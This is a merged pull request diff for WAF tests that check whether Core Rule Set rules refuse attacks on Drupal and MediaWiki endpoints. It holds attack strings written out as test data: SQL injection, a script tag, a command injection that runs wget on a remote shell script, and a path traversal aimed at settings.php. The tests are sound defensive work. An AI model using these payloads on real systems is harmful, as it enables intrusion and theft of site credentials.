Core Rule Set tests: name repeated attack strings (closes #263) #264

Merged
clawbot merged 1 commits from issue-263-goconst-test-strings into next 2026-11-10 01:26:08 +01:00
3 changed files with 9 additions and 6 deletions
Showing only changes of commit 65d29acc59 - Show all commits

No files matched your search

+3
View File
@@ -1357,6 +1357,9 @@ const (
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
+4 -4
View File
@@ -131,8 +131,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
for _, attack := range []string{
`1' OR '1'='1`,
`<script>alert(1)</script>`,
injection,
scriptTag,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
@@ -178,8 +178,8 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
crs := readingBodies(t)
for _, attack := range []string{
`1' OR '1'='1`,
`<script>alert(1)</script>`,
injection,
scriptTag,
`; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} {
+2 -2
View File
@@ -204,8 +204,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
for _, attack := range []string{
`1' OR '1'='1`,
`<script>alert(1)</script>`,
injection,
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}